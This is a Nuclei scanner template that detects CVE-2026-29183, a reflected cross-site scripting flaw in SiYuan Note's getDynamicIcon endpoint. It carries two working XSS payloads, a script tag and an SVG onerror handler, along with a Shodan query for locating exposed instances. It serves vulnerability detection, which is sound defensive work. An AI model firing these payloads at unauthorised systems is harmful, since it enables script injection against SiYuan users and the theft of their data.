id: CVE-2026-29183

info:
  name: SiYuan Note - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.
  remediation: |
    Upgrade to SiYuan version 3.5.9 or later, which properly sanitizes SVG content.
  impact: |
    Successful exploitation allows arbitrary JavaScript execution in the SiYuan web origin. Attackers can abuse authenticated API actions and exfiltrate sensitive data if a privileged session is active.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6865-qjcf-286f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29183
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-29183
    epss-score: 0.00625
    epss-percentile: 0.45188
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,xss,svg

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E<script>alert(document.domain)</script><text%3E"
      - "{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - '</text><image href="x" onerror="alert(document.domain)">'
        condition: or

      - type: word
        part: body
        words:
          - 'id="dynamic_icon_type8'

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200
# digest: 490a00463044022061a35979b2a5f4d1b0ed15f27083de5e6bebafc831b9294d74c3737fe4206b8a022009dab7662589c8a1db83b2950f1d5e0421a6b27cc1a829aa1934d86fdddc61fd:922c64590222798bb761d5b6d8e72950